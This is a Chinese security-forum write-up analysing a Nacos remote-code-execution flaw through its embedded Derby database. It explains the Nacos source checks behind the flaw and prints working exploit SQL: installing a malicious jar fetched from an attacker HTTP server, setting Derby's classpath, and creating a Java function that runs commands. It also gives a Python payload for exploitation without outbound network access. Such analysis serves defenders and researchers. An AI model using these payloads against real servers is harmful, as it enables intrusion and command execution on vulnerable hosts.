问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Nacos 0day(derby+源码)分析 + 不出网利用
漏洞分析
从derby的sql语句和调用过程,以及nacos的java源码层面分析,外加不出网利用方式
Nacos 0day(derby+源码)分析 ====================== 本地部署,代码clone下来后,需要用mvn进行编译,这里最好设置镜像或代理,推荐设置代理  配置启动  查看自带derby数据库,`ij.bat`后 ```sql -- 默认在C:\Users\【用户名】\nacos\data\derby-data connect 'jdbc:derby:C:\Users\【用户名】\nacos\data\derby-data;create=true'; ``` 1. post\_sql分析 -------------- 根据已经存在的POC进行分析,可以发现代码首先发的一个请求包是,removal同时带上了参数,参数值就是我们变量`post_sql`的三行数据库代码  ### 1.1 sqlj.install\_jar分析 ```sql CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0) -- 这里的service变量就是我们下载文件恶意jar包文件的地址,也就是http://127.0.0.1:5000/download,id为随机8个字母,所以可以等量替换如下 CALL sqlj.install_jar('http://127.0.0.1:5000/download', 'NACOS.{id}', 0) ``` 这里利用CALL指令执行了存储过程`sqlj.install_jar`,根据官方文档可知,这个存储过程的功能是将一个jar文件存储到数据库中 这个存储过程有三个参数: 1. jar文件地址,本地或远程都可 2. 在derby数据库中这个jar文件的名称,名称需要由模式(Schema)名称限定(可在SYSSCHEMAS表中确定) 3. 不重要,通常为0 文档地址:<https://db.apache.org/derby/docs/10.15/ref/> 这里为了更直观我翻译了一下,所以可能有些内容不太通顺  在Derby数据库中,使用SQLJ.INSTALL\_JAR来安装JAR文件时,并不是简单地将JAR文件存储在文件系统的特定位置,而是将其存储在数据库本身的系统表中。 SQLJ.INSTALL\_JAR命令会将JAR文件的内容以二进制形式存储在Derby数据库的系统表`SYS.SYSFILES`中,同时在`SYS.SYSALIASES`表中创建对应的别名(alias)。 我们可以先查询一下`SYS.SYSFILES`和`SYS.SYSALIASES`这两个表 FILES为空  SYSALIASES目前为81条  然后我这里改了下poc脚本,输出了一下post\_sql变量  然后执行一次我们的脚本,注意这里的后缀  看一下我们的`SYS.SYSFILES`表,可以看到之前的后缀为SYSFILES表中的文件名FILENAME,用于后续定位该文件  ### 1.2 SYSCS\_SET\_DATABASE\_PROPERTY分析 这个存储过程功能就是设置derby数据库中属性的值,我们对应的代码如下 ```sql CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}') ``` 上边代码所执行的功能是,将`derby.database.classpath`的属性设置为我们刚刚上传的jar文件的标识 正常情况下Derby数据库中是支持java类的,Derby 默认加载的是其自身的类路径,这包括 Derby 内置的一些 Java 类和函数,并不包括`sqlj.install_jar` 安装的 JAR 文件中的内容,所以我们想要执行`sqlj.install_jar` 安装的 JAR就需要利用`SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY` 来指定 Derby 的类路径,使其能够正确加载这些类。  ### 1.3 CREATE FUNCTION相关代码 代码解释如下 ```sql -- 创建一个名为S_EXAMPLE_{id}的自定义函数 CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000) -- 定义函数的参数 ) RETURNS VARCHAR(2000) -- 返回值 PARAMETER STYLE JAVA -- 使用 JAVA 样式的参数传递方式 NO SQL -- 函数不执行SQL查询或更新操作 LANGUAGE JAVA -- 指定函数执行语言为Java EXTERNAL NAME 'test.poc.Example.exec'; -- 指定函数的具体实现在 Java 类 test.poc.Example 的 exec 方法中 ``` 为了对照,这里将service准备的payload还原为jar文件  接着用jadx打开,这样理解就比较形象了  接着由于这行代码的执行,在我们的derby数据库的SYS.SYSALIASES表中,就已经存在这行数据了  其实这个时候我们执行如下代码, 就可以在derby数据库中调用这个存储过程了,达到调用指定java函数了功能了 ```sql -- 由于只是调用函数,在查询中不需要实际的数据表,这里可以用 SYSIBM.SYSDUMMY1特殊的系统表,用于执行一些无需实际数据表的查询操作 SELECT NACOS.S_EXAMPLE_YLGPGMAF('calc') FROM SYSIBM.SYSDUMMY1; ```  - - - - - - 2. get\_sql分析 ------------- ```sql SELECT * FROM ( -- 子查询:统计config_info表中的行数,并调用自定义函数S_EXAMPLE_{id}('{cmd}') 返回值作为别名为a SELECT COUNT(*) AS b, S_EXAMPLE_{id}('{cmd}') AS a FROM config_info ) tmp -- 子查询结束,命名为tmp /*ROWS FETCH NEXT*/ -- 注释 ``` 可以看到这是我们poc脚本中的代码,这里就有个问题了,像我之前举例那样就能执行函数了,为什么要写的这么复杂,这个原因就得对应下面具体代码分析了 3. /ops/derby代码分析 ----------------- 由于脚本调用了两个接口,get\_sql作为/ops/derby接口的参数调用,所以这里先分析下这个接口 代码如下,我们如果想利用漏洞,就需要让代码执行到下方红色框框起来的代码,但是前面有三个判断,所以盲猜上面的sql代码之所以写的那么复杂就与这三个if有关  1. **首先第一个if,这个判断虽然跟sql没关系,但是也简单看一眼** ```java //这里我们要令代码不进入判断里面就应该确保DatasourceConfiguration.isEmbeddedStorage()为真,然后因为前面有!取反,所以为假,所以就不会走到return了,而DatasourceConfiguration.isEmbeddedStorage()是判断数据库是否为嵌入式存储,我们用的是derby,所以这里肯定为真,所以这个判断不会影响我们 if (!DatasourceConfiguration.isEmbeddedStorage()) { return RestResultUtils.failed("The current storage mode is not Derby"); } ``` 我们可以调试看一眼,为True没有问题  2. **第二个if** 由于我们上面说的红色框框起来的代码是在这个if循环体内,所以需要令第二个if值为真,这里它判断我们的sql参数,是否为select开头(忽略大小写)  3. **第三个if** ```java //这里可以看到,它判断了sql中是否包含limitSign,也就是ROWS FETCH NEXT,如果不包含则给我得sql后面加了点垃圾 if (!StringUtils.containsIgnoreCase(sql, limitSign)) { sql += limit; } ``` 接下来我们先看下这个垃圾是否影响我们运行,emmm,貌似不影响  那么继续简化我们的这个代码,看看用我正常在数据库执行的那种方式可不可行,可以正常运行并得到返回值  4. /data/removal代码分析 -------------------- 这个代码其实从表项看没什么分析的,因为它就执行了我们一开始传递的三个sql语句,但是因为这个漏洞是有限制的,所以还是要看一下 上来就看到一个if,这个if跟上面那个跟上面接口的第一个if是一个  既然又出现了一次,那这里我就仔细看看吧,我们之前说它是判断当前运行的环境,数据库是否为嵌入式存储,也就是判断是否为derby而不是mysql什么的,具体怎么判断的呢? 跟进到这个`isEmbeddedStorage`函数,返回值是DatasourceConfiguration这个类的`embeddedStorage`属性  这个属性值在这里  ok,那就看看getStandaloneMode返回的是个什么,返回的isStandalone,  这里就不多做分析了,多放两张图就都明白了  启动模式  接着代码就没什么好分析的了,大概就是正常把我们sql值分割,然后执行的流程了,我就直接贴图了  执行sql  5. 不出网利用 -------- 我们整个利用过程其实需要服务器通过访问我们的攻击服务器的http服务,下载对应payload,所以这就延伸出来了一个问题,就是不出网利用,那么不出网利用能不能实现呢?思路就是sqlj.install\_jar存储jar文件到数据库的时候,这个jar文件地址不是指向远程而是指向nacos服务器本地,既然如此就需要找到一个方法先将payload存到本地,而derby数据库恰好是支持的 `SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE`这个调用过程可以将数据存到本地  于是将post\_sql改为如下代码  ```python post_sql = """ CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', './{id}', ',', '"', 'UTF-8', './{id}.jar')\n CALL SQLJ.INSTALL_JAR('./{id}.jar', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service,jar_hex=jar_hex); ``` 这里第一行用到了`SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE`,其实第一个参数为我们的payload,第二个参数为生成的文本文件,最后一个参数就是生成的jar文件,所以执行后会生成两个文件,虽然我们只需要jar文件,但是第二个参数不能为空,本地实验设置为空会出错,包括文档里也写了,如果为空则会报错  那么我们最后肯定是会存到nacos服务器两个文件  ok,可以正常执行 
发表于 2024-07-26 09:43:20
阅读 ( 5852 )
分类:
服务器应用
1 推荐
收藏
0 条评论
请先
登录
后评论
小惜渗透
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!